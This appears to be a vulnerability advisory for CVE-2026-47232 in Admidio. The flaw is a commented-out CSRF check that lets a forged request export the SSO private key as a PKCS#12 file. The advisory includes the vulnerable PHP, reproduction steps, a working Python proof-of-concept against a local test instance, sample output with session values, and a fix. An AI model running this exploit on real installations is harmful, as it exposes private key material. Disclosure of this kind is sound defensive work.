PT-2026-45042 · Packagist · Admidio/Admidio

Publicado

2026-05-29

·

Atualizado

2026-05-29

·

CVE-2026-47232

CVSS v3.1

4.3

Média

VetorAV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Summary

The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.

Vulnerable Code Links

Vulnerable Code

php
// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($ POST['adm csrf token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($ POST, 'key password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
php
// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl pkcs12 export($certificate, $pkcs12, $privateKey, $password, ["friendly name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}

What Does The Code Mean

The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.

Why The Code Is Vulnerable

The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.

Verification Environment

  • Application: Admidio v5.0.9
  • Runtime: Dockerized Admidio + MariaDB on http://localhost:18080
  • Validation mode: real deployed application, not isolated unit tests

Steps To Reproduce

  1. Log in as an administrator.
  2. Create or seed an SSO key pair.
  3. Send a POST request to /modules/sso/keys.php?mode=export&uuid=<key-uuid> with only key password=ExportPass123! and no adm csrf token.
  4. Verify that the response returns application/x-pkcs12 and that the returned file parses successfully with OpenSSL.

PoC Script

python
import os
from pathlib import Path

from helpers import BASE URL, login, new session, save json, save text


KEY UUID = os.environ["ADMIDIO KEY UUID"]


def main():
session = new session()
login result = login(session, "admin", "AdminPass123!")
resp = session.post(
  f"{BASE URL}/modules/sso/keys.php?mode=export&uuid={KEY UUID}",
  data={"key password": "ExportPass123!"},
)
resp.raise for status()

Path("/home/ubuntu/bughunting/admidio/runtime validation/output/exported key.p12").write bytes(resp.content)
save json(
  "pkcs12 export csrf result.json",
  {
    "login": login result,
    "status code": resp.status code,
    "content type": resp.headers.get("Content-Type"),
    "content length": len(resp.content),
    "content disposition": resp.headers.get("Content-Disposition"),
  },
)


if  name  == " main ":
main()

PoC Output

text
{
 "content disposition": "attachment; filename="Runtime Test Key.p12"",
 "content length": 2644,
 "content type": "application/x-pkcs12",
 "login": {
"cookies": {
 "ADMIDIO admidio adm SESSION ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
 "status": "success",
 "url": "http://localhost:18080/modules/overview.php"
},
"status code": 200
 },
 "status code": 200
}

MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256

Impact

A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.

Remediation And Suggestions

Restore CSRF validation and require a POST body token before exporting private key material.
php
case 'export':
SecurityUtils::validateCsrfToken($ POST['adm csrf token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($ POST, 'key password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.

Correção

CSRF

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-47232
GHSA-4RGQ-38MH-9XQG

Produtos afetados

Admidio/Admidio